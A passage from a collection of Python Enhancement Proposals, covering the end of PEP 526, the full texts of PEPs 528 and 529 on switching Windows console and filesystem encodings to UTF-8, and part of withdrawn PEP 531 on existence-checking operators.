unnecessary; instead a TypeError will be raised if an attempt is made to update __annotations__ when it is anything other than a mapping. Treating bare annotations the same as global or nonlocal: The rejected proposal would prefer that the presence of an annotation without assignment in a function body should not involve any evaluation. In contrast, the PEP implies that if the target is more complex than a single name, its “left-hand part” should be evaluated at the point where it occurs in the function body, just to enforce that it is defined. For example, in this example:def foo(self): slef.name: str the name slef should be evaluated, just so that if it is not defined (as is likely in this example :-), the error will be caught at runtime. This is more in line with what happens when there is an initial value, and thus is expected to lead to fewer surprises. (Also note that if the target was self.name (this time correctly spelled :-), an optimizing compiler has no obligation to evaluate self as long as it can prove that it will definitely be defined.) Backwards Compatibility This PEP is fully backwards compatible. Implementation An implementation for Python 3.6 is found on GitHub repo at https://github.com/ilevkivskyi/cpython/tree/pep-526 Copyright This document has been placed in the public domain.

Final

PEP 526 – Syntax for Variable Annotations

Standards Track

PEP 484 introduced type hints, a.k.a. type annotations. While its main focus was function annotations, it also introduced the notion of type comments to annotate variables:

PEP 528 – Change Windows console encoding to UTF-8 Author: Steve Dower <steve.dower at python.org> Status: Final Type: Standards Track Created: 27-Aug-2016 Python-Version: 3.6 Post-History: 01-Sep-2016, 04-Sep-2016 Resolution: Python-Dev message Table of Contents Abstract Specific Changes Add _io.WindowsConsoleIO Add _PyOS_WindowsConsoleReadline Add legacy mode Alternative Approaches Code that may break Assuming stdin/stdout encoding Incorrectly using the raw object Using the raw object with small buffers Copyright Abstract Historically, Python uses the ANSI APIs for interacting with the Windows operating system, often via C Runtime functions. However, these have been long discouraged in favor of the UTF-16 APIs. Within the operating system, all text is represented as UTF-16, and the ANSI APIs perform encoding and decoding using the active code page. This PEP proposes changing the default standard stream implementation on Windows to use the Unicode APIs. This will allow users to print and input the full range of Unicode characters at the default Windows console. This also requires a subtle change to how the tokenizer parses text from readline hooks. Specific Changes Add _io.WindowsConsoleIO Currently an instance of _io.FileIO is used to wrap the file descriptors representing standard input, output and error. We add a new class (implemented in C) _io.WindowsConsoleIO that acts as a raw IO object using the Windows console functions, specifically, ReadConsoleW and WriteConsoleW. This class will be used when the legacy-mode flag is not in effect, when opening a standard stream by file descriptor and the stream is a console buffer rather than a redirected file. Otherwise, _io.FileIO will be used as it is today. This is a raw (bytes) IO class that requires text to be passed encoded with utf-8, which will be decoded to utf-16-le and passed to the Windows APIs. Similarly, bytes read from the class will be provided by the operating system as utf-16-le and converted into utf-8 when returned to Python. The use of an ASCII compatible encoding is required to maintain compatibility with code that bypasses the TextIOWrapper and directly writes ASCII bytes to the standard streams (for example, Twisted’s process_stdinreader.py). Code that assumes a particular encoding for the standard streams other than ASCII will likely break. Add _PyOS_WindowsConsoleReadline To allow Unicode entry at the interactive prompt, a new readline hook is required. The existing PyOS_StdioReadline function will delegate to the new _PyOS_WindowsConsoleReadline function when reading from a file descriptor that is a console buffer and the legacy-mode flag is not in effect (the logic should be identical to above). Since the readline interface is required to return an 8-bit encoded string with no embedded nulls, the _PyOS_WindowsConsoleReadline function transcodes from utf-16-le as read from the operating system into utf-8. The function PyRun_InteractiveOneObject which currently obtains the encoding from sys.stdin will select utf-8 unless the legacy-mode flag is in effect. This may require readline hooks to change their encodings to utf-8, or to require legacy-mode for correct behaviour. Add legacy mode Launching Python with the environment variable PYTHONLEGACYWINDOWSSTDIO set will enable the legacy-mode flag, which completely restores the previous behaviour. Alternative Approaches The win_unicode_console package is a pure-Python alternative to changing the default behaviour of the console. It implements essentially the same modifications as described here using pure Python code. Code that may break The following code patterns may break or see different behaviour as a result of this change. All of these code samples require explicitly choosing to use a raw file object in place of a more convenient wrapper that would prevent any visible change. Assuming stdin/stdout encoding Code that assumes that the encoding required by sys.stdin.buffer or sys.stdout.buffer is 'mbcs' or a more specific encoding may currently be working by chance, but could encounter issues under this change. For example: >>> sys.stdout.buffer.write(text.encode('mbcs')) >>> r = sys.stdin.buffer.read(16).decode('cp437') To correct this code, the encoding specified on the TextIOWrapper should be used, either implicitly or explicitly: >>> # Fix 1: Use wrapper correctly >>> sys.stdout.write(text) >>> r = sys.stdin.read(16) >>> # Fix 2: Use encoding explicitly >>> sys.stdout.buffer.write(text.encode(sys.stdout.encoding)) >>> r = sys.stdin.buffer.read(16).decode(sys.stdin.encoding) Incorrectly using the raw object Code that uses the raw IO object and does not correctly handle partial reads and writes may be affected. This is particularly important for reads, where the number of characters read will never exceed one-fourth of the number of bytes allowed, as there is no feasible way to prevent input from encoding as much longer utf-8 strings: >>> raw_stdin = sys.stdin.buffer.raw >>> data = raw_stdin.read(15) abcdefghijklm b'abc' # data contains at most 3 characters, and never more than 12 bytes # error, as "defghijklm\r\n" is passed to the interactive prompt To correct this code, the buffered reader/writer should be used, or the caller should continue reading until its buffer is full: >>> # Fix 1: Use the buffered reader/writer >>> stdin = sys.stdin.buffer >>> data = stdin.read(15) abcedfghijklm b'abcdefghijklm\r\n' >>> # Fix 2: Loop until enough bytes have been read >>> raw_stdin = sys.stdin.buffer.raw >>> b = b'' >>> while len(b) < 15: ... b += raw_stdin.read(15) abcedfghijklm b'abcdefghijklm\r\n' Using the raw object with small buffers Code that uses the raw IO object and attempts to read less than four characters will now receive an error. Because it’s possible that any single character may require up to four bytes when represented in utf-8, requests must fail: >>> raw_stdin = sys.stdin.buffer.raw >>> data = raw_stdin.read(3) Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: must read at least 4 bytes The only workaround is to pass a larger buffer: >>> # Fix: Request at least four bytes >>> raw_stdin = sys.stdin.buffer.raw >>> data = raw_stdin.read(4) a b'a' >>> >>> (The extra >>> is due to the newline remaining in the input buffer and is expected in this situation.) Copyright This document has been placed in the public domain.

Final

PEP 528 – Change Windows console encoding to UTF-8

Standards Track

Historically, Python uses the ANSI APIs for interacting with the Windows operating system, often via C Runtime functions. However, these have been long discouraged in favor of the UTF-16 APIs. Within the operating system, all text is represented as UTF-16, and the ANSI APIs perform encoding and decoding using the active code page.

PEP 529 – Change Windows filesystem encoding to UTF-8 Author: Steve Dower <steve.dower at python.org> Status: Final Type: Standards Track Created: 27-Aug-2016 Python-Version: 3.6 Post-History: 01-Sep-2016, 04-Sep-2016 Resolution: Python-Dev message Table of Contents Abstract Background Proposal Specific Changes Update sys.getfilesystemencoding Add sys.getfilesystemencodeerrors Update path_converter Remove unused ANSI code Add legacy mode Undeprecate bytes paths on Windows Beta experiment Affected Modules Rejected Alternatives Use strict mbcs decoding Make bytes paths an error on Windows Make bytes paths an error on all platforms Code that may break Not managing encodings across boundaries Explicitly using ‘mbcs’ Copyright Abstract Historically, Python uses the ANSI APIs for interacting with the Windows operating system, often via C Runtime functions. However, these have been long discouraged in favor of the UTF-16 APIs. Within the operating system, all text is represented as UTF-16, and the ANSI APIs perform encoding and decoding using the active code page. See Naming Files, Paths, and Namespaces for more details. This PEP proposes changing the default filesystem encoding on Windows to utf-8, and changing all filesystem functions to use the Unicode APIs for filesystem paths. This will not affect code that uses strings to represent paths, however those that use bytes for paths will now be able to correctly round-trip all valid paths in Windows filesystems. Currently, the conversions between Unicode (in the OS) and bytes (in Python) were lossy and would fail to round-trip characters outside of the user’s active code page. Notably, this does not impact the encoding of the contents of files. These will continue to default to locale.getpreferredencoding() (for text files) or plain bytes (for binary files). This only affects the encoding used when users pass a bytes object to Python where it is then passed to the operating system as a path name. Background File system paths are almost universally represented as text with an encoding determined by the file system. In Python, we expose these paths via a number of interfaces, such as the os and io modules. Paths may be passed either direction across these interfaces, that is, from the filesystem to the application (for example, os.listdir()), or from the application to the filesystem (for example, os.unlink()). When paths are passed between the filesystem and the application, they are either passed through as a bytes blob or converted to/from str using os.fsencode() and os.fsdecode() or explicit encoding using sys.getfilesystemencoding(). The result of encoding a string with sys.getfilesystemencoding() is a blob of bytes in the native format for the default file system. On Windows, the native format for the filesystem is utf-16-le. The recommended platform APIs for accessing the filesystem all accept and return text encoded in this format. However, prior to Windows NT (and possibly further back), the native format was a configurable machine option and a separate set of APIs existed to accept this format. The option (the “active code page”) and these APIs (the “*A functions”) still exist in recent versions of Windows for backwards compatibility, though new functionality often only has a utf-16-le API (the “*W functions”). In Python, str is recommended because it can correctly round-trip all characters used in paths (on POSIX with surrogateescape handling; on Windows because str maps to the native representation). On Windows bytes cannot round-trip all characters used in paths, as Python internally uses the *A functions and hence the encoding is “whatever the active code page is”. Since the active code page cannot represent all Unicode characters, the conversion of a path into bytes can lose information without warning or any available indication. As a demonstration of this: >>> open('test\uAB00.txt', 'wb').close() >>> import glob >>> glob.glob('test*') ['test\uab00.txt'] >>> glob.glob(b'test*') [b'test?.txt'] The Unicode character in the second call to glob has been replaced by a ‘?’, which means passing the path back into the filesystem will result in a FileNotFoundError. The same results may be observed with os.listdir() or any function that matches the return type to the parameter type. While one user-accessible fix is to use str everywhere, POSIX systems generally do not suffer from data loss when using bytes exclusively as the bytes are the canonical representation. Even if the encoding is “incorrect” by some standard, the file system will still map the bytes back to the file. Making use of this avoids the cost of decoding and reencoding, such that (theoretically, and only on POSIX), code such as this may be faster because of the use of b'.' compared to using '.': >>> for f in os.listdir(b'.'): ... os.stat(f) ... As a result, POSIX-focused library authors prefer to use bytes to represent paths. For some authors it is also a convenience, as their code may receive bytes already known to be encoded correctly, while others are attempting to simplify porting their code from Python 2. However, the correctness assumptions do not carry over to Windows where Unicode is the canonical representation, and errors may result. This potential data loss is why the use of bytes paths on Windows was deprecated in Python 3.3 - all of the above code snippets produce deprecation warnings on Windows. Proposal Currently the default filesystem encoding is ‘mbcs’, which is a meta-encoder that uses the active code page. However, when bytes are passed to the filesystem they go through the *A APIs and the operating system handles encoding. In this case, paths are always encoded using the equivalent of ‘mbcs:replace’ with no opportunity for Python to override or change this. This proposal would remove all use of the *A APIs and only ever call the *W APIs. When Windows returns paths to Python as str, they will be decoded from utf-16-le and returned as text (in whatever the minimal representation is). When Python code requests paths as bytes, the paths will be transcoded from utf-16-le into utf-8 using surrogatepass (Windows does not validate surrogate pairs, so it is possible to have invalid surrogates in filenames). Equally, when paths are provided as bytes, they are transcoded from utf-8 into utf-16-le and passed to the *W APIs. The use of utf-8 will not be configurable, except for the provision of a “legacy mode” flag to revert to the previous behaviour. The surrogateescape error mode does not apply here, as the concern is not about retaining nonsensical bytes. Any path returned from the operating system will be valid Unicode, while invalid paths created by the user should raise a decoding error (currently these would raise OSError or a subclass). The choice of utf-8 bytes (as opposed to utf-16-le bytes) is to ensure the ability to round-trip path names and allow basic manipulation (for example, using the os.path module) when assuming an ASCII-compatible encoding. Using utf-16-le as the encoding is more pure, but will cause more issues than are resolved. This change would also undeprecate the use of bytes paths on Windows. No change to the semantics of using bytes as a path is required - as before, they must be encoded with the encoding specified by sys.getfilesystemencoding(). Specific Changes Update sys.getfilesystemencoding Remove the default value for Py_FileSystemDefaultEncoding and set it in initfsencoding() to utf-8, or if the legacy-mode switch is enabled to mbcs. Update the implementations of PyUnicode_DecodeFSDefaultAndSize() and PyUnicode_EncodeFSDefault() to use the utf-8 codec, or if the legacy-mode switch is enabled the existing mbcs codec. Add sys.getfilesystemencodeerrors As the error mode may now change between surrogatepass and replace, Python code that manually performs encoding also needs access to the current error mode. This includes the implementation of os.fsencode() and os.fsdecode(), which currently assume an error mode based on the codec. Add a public Py_FileSystemDefaultEncodeErrors, similar to the existing Py_FileSystemDefaultEncoding. The default value on Windows will be surrogatepass or in legacy mode, replace. The default value on all other platforms will be surrogateescape. Add a public sys.getfilesystemencodeerrors() function that returns the current error mode. Update the implementations of PyUnicode_DecodeFSDefaultAndSize() and PyUnicode_EncodeFSDefault() to use the variable for error mode rather than constant strings. Update the implementations of os.fsencode() and os.fsdecode() to use sys.getfilesystemencodeerrors() instead of assuming the mode. Update path_converter Update the path converter to always decode bytes or buffer objects into text using PyUnicode_DecodeFSDefaultAndSize(). Change the narrow field from a char* string into a flag that indicates whether the original object was bytes. This is required for functions that need to return paths using the same type as was originally provided. Remove unused ANSI code Remove all code paths using the narrow field, as these will no longer be reachable by any caller. These are only used within posixmodule.c. Other uses of paths should have use of bytes paths replaced with decoding and use of the *W APIs. Add legacy mode Add a legacy mode flag, enabled by the environment variable PYTHONLEGACYWINDOWSFSENCODING or by a function call to sys._enablelegacywindowsfsencoding(). The function call can only be used to enable the flag and should be used by programs as close to initialization as possible. Legacy mode cannot be disabled while Python is running. When this flag is set, the default filesystem encoding is set to mbcs rather than utf-8, and the error mode is set to replace rather than surrogatepass. Paths will continue to decode to wide characters and only *W APIs will be called, however, the bytes passed in and received from Python will be encoded the same as prior to this change. Undeprecate bytes paths on Windows Using bytes as paths on Windows is currently deprecated. We would announce that this is no longer the case, and that paths when encoded as bytes should use whatever is returned from sys.getfilesystemencoding() rather than the user’s active code page. Beta experiment To assist with determining the impact of this change, we propose applying it to 3.6.0b1 provisionally with the intent being to make a final decision before 3.6.0b4. During the experiment period, decoding and encoding exception messages will be expanded to include a link to an active online discussion and encourage reporting of problems. If it is decided to revert the functionality for 3.6.0b4, the implementation change would be to permanently enable the legacy mode flag, change the environment variable to PYTHONWINDOWSUTF8FSENCODING and function to sys._enablewindowsutf8fsencoding() to allow enabling the functionality on a case-by-case basis, as opposed to disabling it. It is expected that if we cannot feasibly make the change for 3.6 due to compatibility concerns, it will not be possible to make the change at any later time in Python 3.x. Affected Modules This PEP implicitly includes all modules within the Python that either pass path names to the operating system, or otherwise use sys.getfilesystemencoding(). As of 3.6.0a4, the following modules require modification: os _overlapped _socket subprocess zipimport The following modules use sys.getfilesystemencoding() but do not need modification: gc (already assumes bytes are utf-8) grp (not compiled for Windows) http.server (correctly includes codec name with transmitted data) idlelib.editor (should not be needed; has fallback handling) nis (not compiled for Windows) pwd (not compiled for Windows) spwd (not compiled for Windows) _ssl (only used for ASCII constants) tarfile (code unused on Windows) _tkinter (already assumes bytes are utf-8) wsgiref (assumed as the default encoding for unknown environments) zipapp (code unused on Windows) The following native code uses one of the encoding or decoding functions, but do not require any modification: Parser/parsetok.c (docs already specify sys.getfilesystemencoding()) Python/ast.c (docs already specify sys.getfilesystemencoding()) Python/compile.c (undocumented, but Python filesystem encoding implied) Python/errors.c (docs already specify os.fsdecode()) Python/fileutils.c (code unused on Windows) Python/future.c (undocumented, but Python filesystem encoding implied) Python/import.c (docs already specify utf-8) Python/importdl.c (code unused on Windows) Python/pythonrun.c (docs already specify sys.getfilesystemencoding()) Python/symtable.c (undocumented, but Python filesystem encoding implied) Python/thread.c (code unused on Windows) Python/traceback.c (encodes correctly for comparing strings) Python/_warnings.c (docs already specify os.fsdecode()) Rejected Alternatives Use strict mbcs decoding This is essentially the same as the proposed change, but instead of changing sys.getfilesystemencoding() to utf-8 it is changed to mbcs (which dynamically maps to the active code page). This approach allows the use of new functionality that is only available as *W APIs and also detection of encoding/decoding errors. For example, rather than silently replacing Unicode characters with ‘?’, it would be possible to warn or fail the operation. Compared to the proposed fix, this could enable some new functionality but does not fix any of the problems described initially. New runtime errors may cause some problems to be more obvious and lead to fixes, provided library maintainers are interested in supporting Windows and adding a separate code path to treat filesystem paths as strings. Making the encoding mbcs without strict errors is equivalent to the legacy-mode switch being enabled by default. This is a possible course of action if there is significant breakage of actual code and a need to extend the deprecation period, but still a desire to have the simplifications to the CPython source. Make bytes paths an error on Windows By preventing the use of bytes paths on Windows completely we prevent users from hitting encoding issues. However, the motivation for this PEP is to increase the likelihood that code written on POSIX will also work correctly on Windows. This alternative would move the other direction and make such code completely incompatible. As this does not benefit users in any way, we reject it. Make bytes paths an error on all platforms By deprecating and then disable the use of bytes paths on all platforms we prevent users from hitting encoding issues regardless of where the code was originally written. This would require a full deprecation cycle, as there are currently no warnings on platforms other than Windows. This is likely to be seen as a hostile action against Python developers in general, and as such is rejected at this time. Code that may break The following code patterns may break or see different behaviour as a result of this change. Each of these examples would have been fragile in code intended for cross-platform use. The suggested fixes demonstrate the most compatible way to handle path encoding issues across all platforms and across multiple Python versions. Note that all of these examples produce deprecation warnings on Python 3.3 and later. Not managing encodings across boundaries Code that does not manage encodings when crossing protocol boundaries may currently be working by chance, but could encounter issues when either encoding changes. Note that the source of filename may be any function that returns a bytes object, as illustrated in a second example below: >>> filename = open('filename_in_mbcs.txt', 'rb').read() >>> text = open(filename, 'r').read() To correct this code, the encoding of the bytes in filename should be specified, either when reading from the file or before using the value: >>> # Fix 1: Open file as text (default encoding) >>> filename = open('filename_in_mbcs.txt', 'r').read() >>> text = open(filename, 'r').read() >>> # Fix 2: Open file as text (explicit encoding) >>> filename = open('filename_in_mbcs.txt', 'r', encoding='mbcs').read() >>> text = open(filename, 'r').read() >>> # Fix 3: Explicitly decode the path >>> filename = open('filename_in_mbcs.txt', 'rb').read() >>> text = open(filename.decode('mbcs'), 'r').read() Where the creator of filename is separated from the user of filename, the encoding is important information to include: >>> some_object.filename = r'C:\Users\Steve\Documents\my_file.txt'.encode('mbcs') >>> filename = some_object.filename >>> type(filename) <class 'bytes'> >>> text = open(filename, 'r').read() To fix this code for best compatibility across operating systems and Python versions, the filename should be exposed as str: >>> # Fix 1: Expose as str >>> some_object.filename = r'C:\Users\Steve\Documents\my_file.txt' >>> filename = some_object.filename >>> type(filename) <class 'str'> >>> text = open(filename, 'r').read() Alternatively, the encoding used for the path needs to be made available to the user. Specifying os.fsencode() (or sys.getfilesystemencoding()) is an acceptable choice, or a new attribute could be added with the exact encoding: >>> # Fix 2: Use fsencode >>> some_object.filename = os.fsencode(r'C:\Users\Steve\Documents\my_file.txt') >>> filename = some_object.filename >>> type(filename) <class 'bytes'> >>> text = open(filename, 'r').read() >>> # Fix 3: Expose as explicit encoding >>> some_object.filename = r'C:\Users\Steve\Documents\my_file.txt'.encode('cp437') >>> some_object.filename_encoding = 'cp437' >>> filename = some_object.filename >>> type(filename) <class 'bytes'> >>> filename = filename.decode(some_object.filename_encoding) >>> type(filename) <class 'str'> >>> text = open(filename, 'r').read() Explicitly using ‘mbcs’ Code that explicitly encodes text using ‘mbcs’ before passing to file system APIs is now passing incorrectly encoded bytes. Note that the source of filename in this example is not relevant, provided that it is a str: >>> filename = open('files.txt', 'r').readline().rstrip() >>> text = open(filename.encode('mbcs'), 'r') To correct this code, the string should be passed without explicit encoding, or should use os.fsencode(): >>> # Fix 1: Do not encode the string >>> filename = open('files.txt', 'r').readline().rstrip() >>> text = open(filename, 'r') >>> # Fix 2: Use correct encoding >>> filename = open('files.txt', 'r').readline().rstrip() >>> text = open(os.fsencode(filename), 'r') Copyright This document has been placed in the public domain.

Final

PEP 529 – Change Windows filesystem encoding to UTF-8

Standards Track

Historically, Python uses the ANSI APIs for interacting with the Windows operating system, often via C Runtime functions. However, these have been long discouraged in favor of the UTF-16 APIs. Within the operating system, all text is represented as UTF-16, and the ANSI APIs perform encoding and decoding using the active code page. See Naming Files, Paths, and Namespaces for more details.

PEP 531 – Existence checking operators Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Withdrawn Type: Standards Track Created: 25-Oct-2016 Python-Version: 3.7 Post-History: 28-Oct-2016 Table of Contents Abstract PEP Withdrawal Relationship with other PEPs Rationale Existence checking expressions Existence checking assignment Existence checking protocol Proposed symbolic notation Proposed keywords Risks and concerns Readability Magic syntax Conceptual complexity Design Discussion Subtleties in chaining existence checking expressions Ambiguous interaction with conditional expressions Existence checking in other truth-checking contexts Defining expected invariant relations between __bool__ and __exists__ Limitations Arbitrary sentinel objects Specification Implementation References Copyright Abstract Inspired by PEP 505 and the related discussions, this PEP proposes the addition of two new control flow operators to Python: Existence-checking precondition (“exists-then”): expr1 ?then expr2 Existence-checking fallback (“exists-else”): expr1 ?else expr2 as well as the following abbreviations for common existence checking expressions and statements: Existence-checking attribute access: obj?.attr (for obj ?then obj.attr) Existence-checking subscripting: obj?[expr] (for obj ?then obj[expr]) Existence-checking assignment: value ?= expr (for value = value ?else expr) The common ? symbol in these new operator definitions indicates that they use a new “existence checking” protocol rather than the established truth-checking protocol used by if statements, while loops, comprehensions, generator expressions, conditional expressions, logical conjunction, and logical disjunction. This new protocol would be made available as operator.exists, with the following characteristics: types can define a new __exists__ magic method (Python) or tp_exists slot (C) to override the default behaviour. This optional method has the same signature and possible return values as __bool__. operator.exists(None) returns False operator.exists(NotImplemented) returns False operator.exists(Ellipsis) returns False float, complex and decimal.Decimal will override the existence check such that NaN values return False and other values (including zero values) return True for any other type, operator.exists(obj) returns True by default. Most importantly, values that evaluate to False in a truth checking context (zeroes, empty containers) will still evaluate to True in an existence checking context PEP Withdrawal When posting this PEP for discussion on python-ideas [4], I asked reviewers to consider 3 high level design questions before moving on to considering the specifics of this particular syntactic proposal: 1. Do we collectively agree that “existence checking” is a useful general concept that exists in software development and is distinct from the concept of “truth checking”? 2. Do we collectively agree that the Python ecosystem would benefit from an existence checking protocol that permits generalisation of algorithms (especially short circuiting ones) across different “data missing” indicators, including those defined in the language definition, the standard library, and custom user code? 3. Do we collectively agree that it would be easier to use such a protocol effectively if existence-checking equivalents to the truth-checking “and” and “or” control flow operators were available? While the answers to the first question were generally positive, it quickly became clear that the answer to the second question is “No”. Steven D’Aprano articulated the counter-argument well in [5], but the general idea is that when checking for “missing data” sentinels, we’re almost always looking for a specific sentinel value, rather than any sentinel value. NotImplemented exists, for example, due to None being a potentially legitimate result from overloaded arithmetic operators and exception handling imposing too much runtime overhead to be useful for operand coercion. Similarly, Ellipsis exists for multi-dimensional slicing support due to None already have another meaning in a slicing context (indicating the use of the default start or stop indices, or the default step size). In mathematics, the value of NaN is that programmatically it behaves like a normal value of its type (e.g. exposing all the usual attributes and methods), while arithmetically it behaves according to the mathematical rules for handling NaN values. With that core design concept invalidated, the proposal as a whole doesn’t make sense, and it is accordingly withdrawn. However, the discussion of the proposal did prompt consideration of a potential protocol based approach to make the existing and, or and if-else operators more flexible [6] without introducing any new syntax, so I’ll be writing that up as another possible alternative to PEP 505. Relationship with other PEPs While this PEP was inspired by and builds on Mark Haase’s excellent work in putting together PEP 505, it ultimately competes with that PEP due to significant differences in the specifics of the proposed syntax and semantics for the feature. It also presents a different perspective on the rationale for the change by focusing on the benefits to existing Python users as the typical demands of application and service development activities are genuinely changing. It isn’t an accident that similar features are now appearing in multiple programming languages, and while it’s a good idea for us to learn from how other language designers are handling the problem, precedents being set elsewhere are more relevant to how we would go about tackling this problem than they are to whether or not we think it’s a problem we should address in the first place. Rationale Existence checking expressions An increasingly common requirement in modern software development is the need to work with “semi-structured data”: data where the structure of the data is known in advance, but pieces of it may be missing at runtime, and the software manipulating that data is expected to degrade gracefully (e.g. by omitting results that depend on the missing data) rather than failing outright. Some particularly common cases where this issue arises are: handling optional application configuration settings and function parameters handling external service failures in distributed systems handling data sets that include some partial records It is the latter two cases that are the primary motivation for this PEP - while needing to deal with optional configuration settings and parameters is a design requirement at least as old as Python itself, the rise of public cloud infrastructure, the development of software systems as collaborative networks of distributed services, and the availability of large public and private data sets for analysis means that the ability to degrade operations gracefully in the face of partial service failures or partial data availability is becoming an essential feature of modern programming environments. At the moment, writing such software in Python can be genuinely awkward, as your code ends up littered with expressions like: value1 = expr1.field.of.interest if expr1 is not None else None value2 = expr2["field"]["of"]["interest"] if expr2 is not None else None value3 = expr3 if expr3 is not None else expr4 if expr4 is not None else expr5 If these are only occasional, then expanding out to full statement forms may help improve readability, but if you have 4 or 5 of them in a row (which is a fairly common situation in data transformation pipelines), then replacing them with 16 or 20 lines of conditional logic really doesn’t help matters. Expanding the three examples above that way hopefully helps illustrate that: if expr1 is not None: value1 = expr1.field.of.interest else: value1 = None if expr2 is not None: value2 = expr2["field"]["of"]["interest"] else: value2 = None if expr3 is not None: value3 = expr3 else: if expr4 is not None: value3 = expr4 else: value3 = expr5 The combined impact of the proposals in this PEP is to allow the above sample expressions to instead be written as: value1 = expr1?.field.of.interest value2 = expr2?["field"]["of"]["interest"] value3 = expr3 ?else expr4 ?else expr5 In these forms, almost all of the information presented to the reader is immediately relevant to the question “What does this code do?”, while the boilerplate code to handle missing data by passing it through to the output or falling back to an alternative input, has shrunk to two uses of the ? symbol and two uses of the ?else keyword. In the first two examples, the 31 character boilerplate clause if exprN is not None else None (minimally 27 characters for a single letter variable name) has been replaced by a single ? character, substantially improving the signal-to-pattern-noise ratio of the lines (especially if it encourages the use of more meaningful variable and field names rather than making them shorter purely for the sake of expression brevity). In the last example, two instances of the 21 character boilerplate, if exprN is not None (minimally 17 characters) are replaced with single characters, again substantially improving the signal-to-pattern-noise ratio. Furthermore, each of our 5 “subexpressions of potential interest” is included exactly once, rather than 4 of them needing to be duplicated or pulled out to a named variable in order to first check if they exist. The existence checking precondition operator is mainly defined to provide a clear conceptual basis for the existence checking attribute access and subscripting operators: obj?.attr is roughly equivalent to obj ?then obj.attr obj?[expr] is roughly equivalent to obj ?then obj[expr] The main semantic difference between the shorthand forms and their expanded equivalents is that the common subexpression to the left of the existence checking operator is evaluated only once in the shorthand form (similar to the benefit offered by augmented assignment statements). Existence checking assignment Existence-checking assignment is proposed as a relatively straightforward expansion of the concepts in this PEP to also cover the common configuration handling idiom: value = value if value is not None else expensive_default() by allowing that to instead be abbreviated as: value ?= expensive_default() This is mainly beneficial when the target is a subscript operation or subattribute, as even without this specific change, the PEP would still permit this idiom to be updated to: value = value ?else expensive_default() The main argument against adding this form is that it’s arguably ambiguous and could mean either: value = value ?else expensive_default(); or value = value ?then value.subfield.of.interest The second form isn’t at all useful, but if this concern was deemed significant enough to address while still keeping the augmented assignment feature, the full keyword could be included in the syntax: value ?else= expensive_default() Alternatively, augmented assignment could just be dropped from the current proposal entirely and potentially reconsidered at a later date. Existence checking protocol The existence checking protocol is including in this proposal primarily to allow for proxy objects (e.g. local representations of remote resources) and mock objects used in testing to correctly indicate non-existence of target resources, even though the proxy or mock object itself is not None. However, with that protocol defined, it then seems natural to expand it to provide a type independent way of checking for NaN values in numeric types - at the moment you need to be aware of the exact data type you’re working with (e.g. builtin floats, builtin complex numbers, the decimal module) and use the appropriate operation (e.g. math.isnan, cmath.isnan, decimal.getcontext().is_nan(), respectively) Similarly, it seems reasonable to declare that the other placeholder builtin singletons, Ellipsis and NotImplemented, also qualify as objects that represent the absence of data more so than they represent data. Proposed symbolic notation Python has historically only had one kind of implied boolean context: truth checking, which can be invoked directly via the bool() builtin. As this PEP proposes a new kind of control flow operation based on existence checking rather than truth checking, it is considered valuable to have a reminder directly in the code when existence checking is being used rather than truth checking. The mathematical symbol for existence assertions is U+2203 ‘THERE EXISTS’: ∃ Accordingly, one possible approach to the syntactic additions proposed in this PEP would be to use that already defined mathematical notation: expr1 ∃then expr2 expr1 ∃else expr2 obj∃.attr obj∃[expr] target ∃= expr However, there are two major problems with that approach, one practical, and one pedagogical. The practical problem is the usual one that most keyboards don’t offer any easy way of entering mathematical symbols other than those used in basic arithmetic (even the symbols appearing in this PEP were ultimately copied & pasted from [3] rather than being entered directly). The pedagogical problem is that the symbols for existence assertions (∃) and universal assertions (∀) aren’t going to be familiar to most people the way basic arithmetic operators are, so we wouldn’t actually be making the proposed syntax easier to understand by adopting ∃. By contrast, ? is one of the few remaining unused ASCII punctuation characters in Python’s syntax, making it available as a candidate syntactic marker for “this control flow operation is based on an existence check, not a truth check”. Taking that path would also have the advantage of aligning Python’s syntax with corresponding syntax in other languages that offer similar features. Drawing from the existing summary in PEP 505 and the Wikipedia articles on the “safe navigation operator [1] and the “null coalescing operator” [2], we see: The ?. existence checking attribute access syntax precisely aligns with: the “safe navigation” attribute access operator in C# (?.) the “optional chaining” operator in Swift (?.) the “safe navigation” attribute access operator in Groovy (?.) the “conditional member access” operator in Dart (?.) The ?[] existence checking attribute access syntax precisely aligns with: the “safe navigation” subscript operator in C# (?[]) the “optional subscript” operator in Swift (?[].) The ?else existence checking fallback syntax semantically aligns with: the “null-coalescing” operator in C# (??) the “null-coalescing” operator in PHP (??) the “nil-coalescing” operator in Swift (??) To be clear, these aren’t the only spelling of these operators used in other languages, but they’re the most common ones, and the ? symbol is the most common syntactic marker by far (presumably prompted by the use of ? to introduce the “then” clause in C-style conditional expressions, which many of these languages also offer). Proposed keywords Given the symbolic marker ?, it would be syntactically unambiguous to spell the existence checking precondition and fallback operations using the same keywords as their truth checking counterparts: expr1 ?and expr2 (instead of expr1 ?then expr2) expr1 ?or expr2 (instead of expr1 ?else expr2) However, while syntactically unambiguous when written, this approach makes the code incredibly hard to pronounce (What’s the pronunciation of “?”?) and also hard to describe (given reused keywords, there’s no obvious shorthand terms for “existence checking precondition (?and)” and “existence checking fallback (?or)” that would distinguish them from “logical conjunction (and)” and “logical disjunction (or)”). We could try to encourage folks to pronounce the ? symbol as “exists”, making the shorthand names the “exists-and expression” and the “exists-or expression”, but there’d be no way of guessing those names purely from seeing them written in a piece of code. Instead, this PEP takes advantage of the proposed symbolic syntax to introduce a new keyword (?then) and borrow an existing one (?else) in a way that allows people to refer to “then expressions” and “else expressions” without ambiguity. These keywords also align well with the conditional expressions that are semantically equivalent to the proposed expressions. For ?else expressions, expr1 ?else expr2 is equivalent to: _lhs_result = expr1 _lhs_result if operator.exists(_lhs_result) else expr2 Here the parallel is clear, since the else expr2 appears at the end of both the abbreviated and expanded forms. For ?then expressions, expr1 ?then expr2 is equivalent to: _lhs_result = expr1 expr2 if operator.exists(_lhs_result) else _lhs_result Here the parallel isn’t as immediately obvious due to Python’s traditionally anonymous “then” clauses (introduced by : in if statements and suffixed by if in conditional expressions), but it’s still reasonably clear as long as you’re already familiar with the “if-then-else” explanation of conditional control flow. Risks and concerns Readability Learning to read and write the new syntax effectively mainly requires internalising two concepts: expressions containing ? include an existence check and may short circuit if None or another “non-existent” value is an expected input, and the correct handling is to propagate that to the result, then the existence checking operators are likely what you want Currently, these concepts aren’t explicitly represented at the language level, so it’s a matter of learning to recognise and use the various idiomatic patterns based on conditional expressions and statements. Magic syntax There’s nothing about ? as a syntactic element that inherently suggests is not None or operator.exists. The 